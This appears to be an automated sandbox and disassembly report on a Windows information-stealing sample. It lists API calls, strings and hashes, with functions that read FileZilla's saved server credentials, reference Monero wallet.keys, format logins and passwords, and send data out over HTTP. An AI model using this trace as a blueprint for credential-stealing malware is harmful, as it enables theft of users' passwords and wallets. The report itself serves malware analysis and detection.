GetProcAddress.KERNEL32(75900000,0184DD48), ref: 00D39D20
GetProcAddress.KERNEL32(75900000,018365E0), ref: 00D39D39
GetProcAddress.KERNEL32(75900000,01836500), ref: 00D39D51
GetProcAddress.KERNEL32(75900000,01836640), ref: 00D39D69
GetProcAddress.KERNEL32(75900000,018364E0), ref: 00D39D82
GetProcAddress.KERNEL32(75900000,0184DD90), ref: 00D39D9A
GetProcAddress.KERNEL32(75900000,0184DDF0), ref: 00D39DB2
GetProcAddress.KERNEL32(75900000,0183BEE0), ref: 00D39DCB
GetProcAddress.KERNEL32(75900000,01836400), ref: 00D39DE3
GetProcAddress.KERNEL32(75900000,0184DC40), ref: 00D39DFB
GetProcAddress.KERNEL32(75900000,0184DD60), ref: 00D39E14
GetProcAddress.KERNEL32(75900000,0184DD78), ref: 00D39E2C
GetProcAddress.KERNEL32(75900000,0184DCE8), ref: 00D39E44
GetProcAddress.KERNEL32(75900000,01836440), ref: 00D39E5D
GetProcAddress.KERNEL32(75900000,0184DDC0), ref: 00D39E75
GetProcAddress.KERNEL32(75900000,0184DC58), ref: 00D39E8D
GetProcAddress.KERNEL32(75900000,0184DCD0), ref: 00D39EA6
GetProcAddress.KERNEL32(75900000,0184DC70), ref: 00D39EBE
GetProcAddress.KERNEL32(75900000,0184DC88), ref: 00D39ED6
GetProcAddress.KERNEL32(75900000,0184DCA0), ref: 00D39EEF
GetProcAddress.KERNEL32(75900000,0184DD00), ref: 00D39F07
GetProcAddress.KERNEL32(75900000,0184D6E8), ref: 00D39F1F
GetProcAddress.KERNEL32(75900000,0184D6A0), ref: 00D39F38
GetProcAddress.KERNEL32(75900000,01840610), ref: 00D39F50
GetProcAddress.KERNEL32(75900000,0184D670), ref: 00D39F68
GetProcAddress.KERNEL32(75900000,0184D850), ref: 00D39F81
GetProcAddress.KERNEL32(75900000,01836520), ref: 00D39F99
GetProcAddress.KERNEL32(75900000,0184D748), ref: 00D39FB1
GetProcAddress.KERNEL32(75900000,01836560), ref: 00D39FCA
GetProcAddress.KERNEL32(75900000,0184D6B8), ref: 00D39FE2
GetProcAddress.KERNEL32(75900000,0184D6D0), ref: 00D39FFA
GetProcAddress.KERNEL32(75900000,018365A0), ref: 00D3A013
GetProcAddress.KERNEL32(75900000,01836600), ref: 00D3A02B
LoadLibraryA.KERNEL32(0184D700,?,00D35CA3,00D40AEB,?,?,?,?,?,?,?,?,?,?,00D40AEA,00D40AE3), ref: 00D3A03D
LoadLibraryA.KERNEL32(0184D928,?,00D35CA3,00D40AEB,?,?,?,?,?,?,?,?,?,?,00D40AEA,00D40AE3), ref: 00D3A04E
LoadLibraryA.KERNEL32(0184D8C8,?,00D35CA3,00D40AEB,?,?,?,?,?,?,?,?,?,?,00D40AEA,00D40AE3), ref: 00D3A060
LoadLibraryA.KERNEL32(0184D778,?,00D35CA3,00D40AEB,?,?,?,?,?,?,?,?,?,?,00D40AEA,00D40AE3), ref: 00D3A072
LoadLibraryA.KERNEL32(0184D7C0,?,00D35CA3,00D40AEB,?,?,?,?,?,?,?,?,?,?,00D40AEA,00D40AE3), ref: 00D3A083
LoadLibraryA.KERNEL32(0184D8F8,?,00D35CA3,00D40AEB,?,?,?,?,?,?,?,?,?,?,00D40AEA,00D40AE3), ref: 00D3A095
LoadLibraryA.KERNEL32(0184D8E0,?,00D35CA3,00D40AEB,?,?,?,?,?,?,?,?,?,?,00D40AEA,00D40AE3), ref: 00D3A0A7
LoadLibraryA.KERNEL32(0184D688,?,00D35CA3,00D40AEB,?,?,?,?,?,?,?,?,?,?,00D40AEA,00D40AE3), ref: 00D3A0B8
GetProcAddress.KERNEL32(75FD0000,01836940), ref: 00D3A0DA
GetProcAddress.KERNEL32(75FD0000,0184D808), ref: 00D3A0F2
GetProcAddress.KERNEL32(75FD0000,0184A148), ref: 00D3A10A
GetProcAddress.KERNEL32(75FD0000,0184D880), ref: 00D3A123
GetProcAddress.KERNEL32(75FD0000,01836840), ref: 00D3A13B
GetProcAddress.KERNEL32(6FD50000,0183C070), ref: 00D3A160
GetProcAddress.KERNEL32(6FD50000,01836880), ref: 00D3A179
GetProcAddress.KERNEL32(6FD50000,0183BF08), ref: 00D3A191
GetProcAddress.KERNEL32(6FD50000,0184D640), ref: 00D3A1A9
GetProcAddress.KERNEL32(6FD50000,0184D7A8), ref: 00D3A1C2
GetProcAddress.KERNEL32(6FD50000,01836780), ref: 00D3A1DA
GetProcAddress.KERNEL32(6FD50000,01836980), ref: 00D3A1F2
GetProcAddress.KERNEL32(6FD50000,0184D868), ref: 00D3A20B
GetProcAddress.KERNEL32(763B0000,01836860), ref: 00D3A22C
GetProcAddress.KERNEL32(763B0000,01836920), ref: 00D3A244
GetProcAddress.KERNEL32(763B0000,0184D898), ref: 00D3A25D
GetProcAddress.KERNEL32(763B0000,0184D8B0), ref: 00D3A275
GetProcAddress.KERNEL32(763B0000,018369A0), ref: 00D3A28D
GetProcAddress.KERNEL32(750F0000,0183BDF0), ref: 00D3A2B3
GetProcAddress.KERNEL32(750F0000,0183C1D8), ref: 00D3A2CB
GetProcAddress.KERNEL32(750F0000,0184D718), ref: 00D3A2E3
GetProcAddress.KERNEL32(750F0000,01836820), ref: 00D3A2FC
GetProcAddress.KERNEL32(750F0000,01836A20), ref: 00D3A314
GetProcAddress.KERNEL32(750F0000,0183C160), ref: 00D3A32C
GetProcAddress.KERNEL32(75A50000,0184D658), ref: 00D3A352
GetProcAddress.KERNEL32(75A50000,018368A0), ref: 00D3A36A
GetProcAddress.KERNEL32(75A50000,0184A0F8), ref: 00D3A382
GetProcAddress.KERNEL32(75A50000,0184D838), ref: 00D3A39B
GetProcAddress.KERNEL32(75A50000,0184D910), ref: 00D3A3B3
GetProcAddress.KERNEL32(75A50000,018366A0), ref: 00D3A3CB
GetProcAddress.KERNEL32(75A50000,01836700), ref: 00D3A3E4
GetProcAddress.KERNEL32(75A50000,0184D730), ref: 00D3A3FC
GetProcAddress.KERNEL32(75A50000,0184D760), ref: 00D3A414
GetProcAddress.KERNEL32(75070000,018368C0), ref: 00D3A436
GetProcAddress.KERNEL32(75070000,0184D820), ref: 00D3A44E
GetProcAddress.KERNEL32(75070000,0184D790), ref: 00D3A466
GetProcAddress.KERNEL32(75070000,0184D7D8), ref: 00D3A47F
GetProcAddress.KERNEL32(75070000,0184D7F0), ref: 00D3A497
GetProcAddress.KERNEL32(74E50000,01836680), ref: 00D3A4B8
GetProcAddress.KERNEL32(74E50000,01836960), ref: 00D3A4D1
GetProcAddress.KERNEL32(75320000,018368E0), ref: 00D3A4F2
GetProcAddress.KERNEL32(75320000,0184DA90), ref: 00D3A50A
GetProcAddress.KERNEL32(6F060000,01836900), ref: 00D3A530
GetProcAddress.KERNEL32(6F060000,018369C0), ref: 00D3A548
GetProcAddress.KERNEL32(6F060000,018369E0), ref: 00D3A560
GetProcAddress.KERNEL32(6F060000,0184DBC8), ref: 00D3A579
GetProcAddress.KERNEL32(6F060000,01836A00), ref: 00D3A591
GetProcAddress.KERNEL32(6F060000,018366C0), ref: 00D3A5A9
GetProcAddress.KERNEL32(6F060000,018366E0), ref: 00D3A5C2
GetProcAddress.KERNEL32(6F060000,01836720), ref: 00D3A5DA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 00D3A5F1
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 00D3A607
GetProcAddress.KERNEL32(74E00000,0184DC28), ref: 00D3A629
GetProcAddress.KERNEL32(74E00000,0184A118), ref: 00D3A641
GetProcAddress.KERNEL32(74E00000,0184DB20), ref: 00D3A659
GetProcAddress.KERNEL32(74E00000,0184D958), ref: 00D3A672
GetProcAddress.KERNEL32(74DF0000,01836740), ref: 00D3A693
GetProcAddress.KERNEL32(6E370000,0184DA48), ref: 00D3A6B4
GetProcAddress.KERNEL32(6E370000,01836800), ref: 00D3A6CD
GetProcAddress.KERNEL32(6E370000,0184D9A0), ref: 00D3A6E5
GetProcAddress.KERNEL32(6E370000,0184DB68), ref: 00D3A6FD

Strings

HttpQueryInfoA, xrefs: 00D3A5FC
InternetSetOptionA, xrefs: 00D3A5E5

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 69d4aa1664b4b160eff79ceb5f6904d92abe20a63b473359f6e1873032fb3f0f
Instruction ID: 162977433a83b7de9cc906a66b5af17b52bf4d99e0199eca2f2fc3a2c6ccf57d
Opcode Fuzzy Hash: 69d4aa1664b4b160eff79ceb5f6904d92abe20a63b473359f6e1873032fb3f0f
Instruction Fuzzy Hash: B06220B5500208AFC344DFA8EE9895637F9F78C701714851AE635E3274DBB9A841FF62

Function 00D27710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00D27724
RtlAllocateHeap.NTDLL(00000000), ref: 00D2772B
lstrcat.KERNEL32(?,01837390), ref: 00D278DB
lstrcat.KERNEL32(?,?), ref: 00D278EF
lstrcat.KERNEL32(?,?), ref: 00D27903
lstrcat.KERNEL32(?,?), ref: 00D27917
lstrcat.KERNEL32(?,0184EC38), ref: 00D2792B
lstrcat.KERNEL32(?,0184EB48), ref: 00D2793F
lstrcat.KERNEL32(?,0184EA40), ref: 00D27952
lstrcat.KERNEL32(?,0184EA70), ref: 00D27966
lstrcat.KERNEL32(?,0184EE28), ref: 00D2797A
lstrcat.KERNEL32(?,?), ref: 00D2798E
lstrcat.KERNEL32(?,?), ref: 00D279A2
lstrcat.KERNEL32(?,?), ref: 00D279B6
lstrcat.KERNEL32(?,0184EC38), ref: 00D279C9
lstrcat.KERNEL32(?,0184EB48), ref: 00D279DD
lstrcat.KERNEL32(?,0184EA40), ref: 00D279F1
lstrcat.KERNEL32(?,0184EA70), ref: 00D27A04
lstrcat.KERNEL32(?,0184EE90), ref: 00D27A18
lstrcat.KERNEL32(?,?), ref: 00D27A2C
lstrcat.KERNEL32(?,?), ref: 00D27A40
lstrcat.KERNEL32(?,?), ref: 00D27A54
lstrcat.KERNEL32(?,0184EC38), ref: 00D27A68
lstrcat.KERNEL32(?,0184EB48), ref: 00D27A7B
lstrcat.KERNEL32(?,0184EA40), ref: 00D27A8F
lstrcat.KERNEL32(?,0184EA70), ref: 00D27AA3
lstrcat.KERNEL32(?,0184EEF8), ref: 00D27AB6
lstrcat.KERNEL32(?,?), ref: 00D27ACA
lstrcat.KERNEL32(?,?), ref: 00D27ADE
lstrcat.KERNEL32(?,?), ref: 00D27AF2
lstrcat.KERNEL32(?,0184EC38), ref: 00D27B06
lstrcat.KERNEL32(?,0184EB48), ref: 00D27B1A
lstrcat.KERNEL32(?,0184EA40), ref: 00D27B2D
lstrcat.KERNEL32(?,0184EA70), ref: 00D27B41
lstrcat.KERNEL32(?,0184EF60), ref: 00D27B55
lstrcat.KERNEL32(?,?), ref: 00D27B69
lstrcat.KERNEL32(?,?), ref: 00D27B7D
lstrcat.KERNEL32(?,?), ref: 00D27B91
lstrcat.KERNEL32(?,0184EC38), ref: 00D27BA4
lstrcat.KERNEL32(?,0184EB48), ref: 00D27BB8
lstrcat.KERNEL32(?,0184EA40), ref: 00D27BCC
lstrcat.KERNEL32(?,0184EA70), ref: 00D27BDF
lstrcat.KERNEL32(?,0184ADB8), ref: 00D27BF3
lstrcat.KERNEL32(?,?), ref: 00D27C07
lstrcat.KERNEL32(?,?), ref: 00D27C1B
lstrcat.KERNEL32(?,?), ref: 00D27C2F
lstrcat.KERNEL32(?,0184EC38), ref: 00D27C43
lstrcat.KERNEL32(?,0184EB48), ref: 00D27C56
lstrcat.KERNEL32(?,0184EA40), ref: 00D27C6A
lstrcat.KERNEL32(?,0184EA70), ref: 00D27C7E

Part of subcall function 00D275D0: lstrcat.KERNEL32(36031020,00D417FC), ref: 00D27606
Part of subcall function 00D275D0: lstrcat.KERNEL32(36031020,00000000), ref: 00D27648
Part of subcall function 00D275D0: lstrcat.KERNEL32(36031020, : ), ref: 00D2765A
Part of subcall function 00D275D0: lstrcat.KERNEL32(36031020,00000000), ref: 00D2768F
Part of subcall function 00D275D0: lstrcat.KERNEL32(36031020,00D41804), ref: 00D276A0
Part of subcall function 00D275D0: lstrcat.KERNEL32(36031020,00000000), ref: 00D276D3
Part of subcall function 00D275D0: lstrcat.KERNEL32(36031020,00D41808), ref: 00D276ED
Part of subcall function 00D275D0: task.LIBCPMTD ref: 00D276FB

lstrcat.KERNEL32(?,0184F018), ref: 00D27E0B
lstrcat.KERNEL32(?,0184E008), ref: 00D27E1E
lstrlen.KERNEL32(36031020), ref: 00D27E2B
lstrlen.KERNEL32(36031020), ref: 00D27E3B

Part of subcall function 00D3A740: lstrcpy.KERNEL32(00D40E17,00000000), ref: 00D3A788

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: c35d234709b0c90058b10898fcfdc7086dfdd31a0b62539e4e70ff77ecad1b52
Instruction ID: 0eb89cdefd607c2d452bcec827a8a2c3bcd88902fddd7558e1b0a2f94a194090
Opcode Fuzzy Hash: c35d234709b0c90058b10898fcfdc7086dfdd31a0b62539e4e70ff77ecad1b52
Instruction Fuzzy Hash: 9C32EEB6900358ABCB15EBB0DC85DEE737CBB44700F444A98F219A2091EEB5E7859F71

Function 00D30250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D3A740: lstrcpy.KERNEL32(00D40E17,00000000), ref: 00D3A788

Part of subcall function 00D38DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00D38E0B

Part of subcall function 00D3A920: lstrcpy.KERNEL32(00000000,?), ref: 00D3A972
Part of subcall function 00D3A920: lstrcat.KERNEL32(00000000), ref: 00D3A982

Part of subcall function 00D3A8A0: lstrcpy.KERNEL32(?,00D40E17), ref: 00D3A905

Part of subcall function 00D3A9B0: lstrlen.KERNEL32(?,0184A318,?,\Monero\wallet.keys,00D40E17), ref: 00D3A9C5
Part of subcall function 00D3A9B0: lstrcpy.KERNEL32(00000000), ref: 00D3AA04
Part of subcall function 00D3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D3AA12

Part of subcall function 00D3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D3A7E6

Part of subcall function 00D299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D299EC
Part of subcall function 00D299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00D29A11
Part of subcall function 00D299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00D29A31
Part of subcall function 00D299C0: ReadFile.KERNEL32(000000FF,?,00000000,00D2148F,00000000), ref: 00D29A5A
Part of subcall function 00D299C0: LocalFree.KERNEL32(00D2148F), ref: 00D29A90
Part of subcall function 00D299C0: CloseHandle.KERNEL32(000000FF), ref: 00D29A9A

Part of subcall function 00D38E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00D38E52

GetProcessHeap.KERNEL32(00000000,000F423F,00D40DBA,00D40DB7,00D40DB6,00D40DB3), ref: 00D30362
RtlAllocateHeap.NTDLL(00000000), ref: 00D30369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00D30385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D40DB2), ref: 00D30393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00D303CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D40DB2), ref: 00D303DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00D30419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D40DB2), ref: 00D30427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00D30463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D40DB2), ref: 00D30475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D40DB2), ref: 00D30502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D40DB2), ref: 00D3051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D40DB2), ref: 00D30532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D40DB2), ref: 00D3054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00D30562
lstrcat.KERNEL32(?,profile: null), ref: 00D30571
lstrcat.KERNEL32(?,url: ), ref: 00D30580
lstrcat.KERNEL32(?,00000000), ref: 00D30593
lstrcat.KERNEL32(?,00D41678), ref: 00D305A2
lstrcat.KERNEL32(?,00000000), ref: 00D305B5
lstrcat.KERNEL32(?,00D4167C), ref: 00D305C4
lstrcat.KERNEL32(?,login: ), ref: 00D305D3
lstrcat.KERNEL32(?,00000000), ref: 00D305E6
lstrcat.KERNEL32(?,00D41688), ref: 00D305F5
lstrcat.KERNEL32(?,password: ), ref: 00D30604
lstrcat.KERNEL32(?,00000000), ref: 00D30617
lstrcat.KERNEL32(?,00D41698), ref: 00D30626
lstrcat.KERNEL32(?,00D4169C), ref: 00D30635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D40DB2), ref: 00D3068E

Strings

<Port>, xrefs: 00D303C6
login: , xrefs: 00D305CA
browser: FileZilla, xrefs: 00D30559
profile: null, xrefs: 00D30568
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00D302A4
url: , xrefs: 00D30577
<User>, xrefs: 00D30410
<Pass encoding="base64">, xrefs: 00D3045A
<Host>, xrefs: 00D3037C
password: , xrefs: 00D305FB

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 8a3b3d708aab76e0c90adbb272d2e9638aceea7fcedd8872281db6ea105f7dff
Instruction ID: ebc224f050dd28774b6bcfeaaa59766b2c30d977ebed00a4e81710ebef3f0781
Opcode Fuzzy Hash: 8a3b3d708aab76e0c90adbb272d2e9638aceea7fcedd8872281db6ea105f7dff
Instruction Fuzzy Hash: C7D11B76A00208ABCB04EBF4DD96EEE7778EF14300F444518F152B6191EF74AA4ADB72

Function 00D25100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D3A7E6

Part of subcall function 00D247B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00D24839
Part of subcall function 00D247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00D24849

lstrlen.KERNEL32(00000000), ref: 00D25193

Part of subcall function 00D38EA0: CryptBinaryToStringA.CRYPT32(00000000,00D25184,40000001,00000000,00000000,?,00D25184), ref: 00D38EC0

Part of subcall function 00D3A740: lstrcpy.KERNEL32(00D40E17,00000000), ref: 00D3A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00D25207
StrCmpCA.SHLWAPI(?,0184F108), ref: 00D25225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00D25340
HttpOpenRequestA.WININET(00000000,0184F0E8,?,0184EA10,00000000,00000000,00400100,00000000), ref: 00D253A4

Part of subcall function 00D3A9B0: lstrlen.KERNEL32(?,0184A318,?,\Monero\wallet.keys,00D40E17), ref: 00D3A9C5
Part of subcall function 00D3A9B0: lstrcpy.KERNEL32(00000000), ref: 00D3AA04
Part of subcall function 00D3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D3AA12

Part of subcall function 00D3A8A0: lstrcpy.KERNEL32(?,00D40E17), ref: 00D3A905

Part of subcall function 00D3A920: lstrcpy.KERNEL32(00000000,?), ref: 00D3A972
Part of subcall function 00D3A920: lstrcat.KERNEL32(00000000), ref: 00D3A982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,0184F098,00000000,?,01840C38,00000000,?,00D419DC,00000000,?,00D351CF), ref: 00D25737
lstrlen.KERNEL32(00000000), ref: 00D2574B
GetProcessHeap.KERNEL32(00000000,?), ref: 00D2575C
RtlAllocateHeap.NTDLL(00000000), ref: 00D25763
lstrlen.KERNEL32(00000000), ref: 00D25778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00D257A9
lstrlen.KERNEL32(00000000), ref: 00D257C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00D257E1
lstrlen.KERNEL32(00000000,?,?), ref: 00D2580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00D25822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00D2584D
InternetCloseHandle.WININET(00000000), ref: 00D258B1
InternetCloseHandle.WININET(00000000), ref: 00D258BE
InternetCloseHandle.WININET(00000000), ref: 00D258C8

Strings

------, xrefs: 00D254F9
